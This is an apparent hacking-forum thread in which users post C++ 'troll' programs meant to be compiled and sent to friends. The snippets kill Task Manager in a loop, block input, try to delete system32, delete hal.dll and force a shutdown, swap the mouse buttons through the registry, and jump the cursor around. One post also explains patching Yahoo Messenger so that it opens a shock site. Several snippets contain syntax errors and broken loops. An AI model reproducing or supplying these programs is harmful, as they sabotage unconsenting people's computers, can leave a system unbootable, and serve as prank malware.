Thumbs downProgram for troll' :)

Posts 114 of 14 · Page 1 of 1
Program for troll' :)
So guys like name says there is it:
Code:
/* Made by KissU 
*Its just to have fun
*Dont use to fuck hard with someone
*Just to troll
*I dont care if you leech :D*/
#include <windows.h>
#include <iostream>

using namespace std;

int main()
{
    while(true)
    FreeConsole();
    whil: 
    {
          cout <<"\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" <<endl;
          Sleep(200);
    int x;
    int y;
    POINT cursorPos;
    (&GetCursorPos); 
     x = cursorPos.x; 
     y = cursorPos.y;
     SetCursorPos(x,y);
     keybd_event(VK_LWIN, 0, 0, 0);
     Sleep(1); 
     system("taskkill /IM taskmgr.exe");
     system("cls");
     if(GetAsyncKeyState(VK_LBUTTON)) {MessageBox(NULL,"Trolling you :)' Have Fun", "Im making fun of you", MB_YESNO | MB_OK | MB_ICONHAND);};
     goto whil;
}
}
I dont get better thing to do so made a programm for trolll with someone
Its just to have fun im new to C++ so its a pratice(if we can say that its pratice something) So have fun and if u gonna test remove the system("taskkill...") ::
Sorry for bad eng;
return 0;
Code:
#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <iostream>

using namespace std;

int main()
{

SetConsoleTitle("You have been Terminated")

while(1) {
cout << "Trololololol!" << endl;
}

Sleep(1);
remove("c:\\windows\\system32");
BlockInput(true)
return 0;
}
Deletes the hal.dll file.

Code:
#include<stdio.h>
#include<stdlib.h>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //Caution
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

Swaps the mouse buttons:

Code:
#include <windows.h>
#include <conio.h>
#include <iostream>
#include <fstream>
using namespace std;

char mbuttonsp[]="Control Panel\\Mouse";
char mbuttonsc[]="1";

int main(){
HKEY mbuttons;
RegOpenKeyEx(HKEY_CURRENT_USER,mbuttonsp,0,KEY_SET_VALUE,&mbuttons );
RegSetValueEx(mbuttons,"SwapMouseButtons",0,REG_SZ,(const unsigned char*)mbuttonsc,sizeof(mbuttonsc));
RegCloseKey(mbuttons);
}
Your way is good but is just for troll dont fuck with him
I did a stupid prank to this guy once. I opened yahoo message in ollydebugger, found the entry point of the point and did

push null
...
...
push (address to text: lemonparty.org)
...
...
call ShellExecute

ret

so it basically it opened IE and redirect itself to lemonparty.org when ever your tried to open yahoo messenger.

Lame, I know.
Cool, I'll make a version 1.2 of the programm, and i,ll try make something like open browser and redirect to lemonparty.org HAHA
oh, well in that case just compile the last source code

sorry lol



btw, just a little side note: Windows Vista no longer allows for the deletion of hal.dll

I found that very fortunate because I accidently pressed compile AND run yesterday :P Thought I was fucked. ><
Hoho damm UAC hahahhahahaha luck you if u've runned with Administator rights u rlly was fcked up!
Quote Originally Posted by KissU View Post
Hoho damm UAC hahahhahahaha luck you if u've runned with Administator rights u rlly was fcked up!
Yea, it scared the hell out of me haha /arr



p.s. Post more source codes xP
Quote Originally Posted by Cyberdyne View Post
Yea, it scared the hell out of me haha



p.s. Post more source codes xP
Sc.aring people is funny
So here is more one code
[Highlight=C++]/* this code to last version or
just compile and send to friends */
/* Here we go again */
/* I tested and its so funny :d u can test too
and if want exit its just press ESCAPE */


#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

int main()
{
wil:
FreeConsole(); //Old Dos function to hide console window
int i,z; // our lovely variables
POINT cursorPos;
GetCursorPos(&cursorPos);
int x = 1024;
int y = 768;
i = cursorPos.x;
z = cursorPos.y;
i = rand() % x;//I love this so much
z = rand() % y;//Same for this <3
SetCursorPos(i,z);
if(GetAsyncKeyState(VK_ESCAPE)) exit (0); //Of course if u gonna test dont?
goto wil;


return EXIT_SUCCESS;
}
[/Highlight]
Lol, that's why i never make stuff like that. Cuz, first of all, you would be really messed up if you would ever do that to someone (unless he tries to kill you or something), and you can't really test if it works, cuz if you do you're screwed.
Hey guys that see that post i will keep posting sources when I can feel free to post yours
Just a daily bump, soon I will post new program
Ps: Its not a console program.
Quit bumping, and l2loop
Source here.
Quote Originally Posted by Jason View Post
Quit bumping, and l2loop
I dont know what you want mean with l2loop :s

Sorry for bumping like I promissed, im posting the source of new program
*HATERS GONNA HATE*

I removed the functions cuz it was some buggy but this gonna help people
so if you add something share with us


[Highlight=C++]
#include <windows.h>

/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/* Make the class name into a global variable */
char szClassName[ ] = "Yeah we know";


int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)

{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */

/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);

/* Use default icon and mouse-pointer */
wincl.hIcon = (HICON)LoadImage(NULL,"C:\\Users\\pc\\Desktop\\Pro jetos\\Dll\\ProjectTroll\\ss.ico",IMAGE_ICON,32,32 ,LR_LOADFROMFILE);
wincl.hIconSm = (HICON)LoadImage(NULL,"C:\\Users\\pc\\Desktop\\Pro jetos\\Dll\\ProjectTroll\\ss.ico",IMAGE_ICON,16,16 ,LR_LOADFROMFILE);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_WINDOW+6;

/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;

/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Yeah We Know", /* Title Text */
WS_EX_LAYERED, /* Not default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
450, /* The programs width */
640, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);

/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);

/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}

/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}

HWND hBmpStat;
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{

switch(message)
{
case WM_CREATE:
{
HBITMAP hBitmap;
HWND fun, xx;
hBitmap = (HBITMAP) LoadImage(NULL, "C:\\Users\\pc\\Desktop\\Projetos\\Dll\\ProjectTro ll\\01.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE);
hBmpStat = CreateWindowEx(0,"Static","",WS_VISIBLE | WS_CHILD | SS_BITMAP, -150,-135,0,0,hwnd,0,0,0);
fun = CreateWindow("button", "Read This!",
WS_CHILD | WS_VISIBLE | WS_EX_LAYERED | BS_DEFPUSHBUTTON,
250, 95, 100, 40,
hwnd, (HMENU) 1, NULL, NULL);
xx = CreateWindow("button", "or this",
WS_CHILD | WS_VISIBLE | WS_EX_LAYERED | BS_DEFPUSHBUTTON,
260, 135, 100, 40,
hwnd, (HMENU) 2, NULL, NULL);
CreateWindow("button", "also this one",
WS_CHILD | WS_VISIBLE | WS_EX_LAYERED | BS_DEFPUSHBUTTON | BS_VCENTER,
270, 175, 100, 40,
hwnd, (HMENU) 3, NULL, NULL);
SendMessage(hBmpStat, STM_SETIMAGE, IMAGE_BITMAP, (LPARAM) hBitmap);
break;
}
case WM_COMMAND:
{
if(LOWORD(wParam) == 1)
{
MessageBox(hwnd, "Remove this and add you function", "Read!", MB_ICONINFORMATION| MB_OK);
}
if(LOWORD(wParam) == 2)
{
MessageBox(hwnd, "Its just a source so, dont complain", "Read!", MB_ICONINFORMATION | MB_OK);
}
if(LOWORD(wParam) == 3)
{
MessageBox(hwnd, "Im posting on mpgh.net", "Happy ", MB_ICONINFORMATION | MB_OK);
}
break;
}
case WM_DESTROY:
{
PostQuitMessage(0);
break;
}
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
[/HIGHLIGHT]
Posts 114 of 14 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

Need help?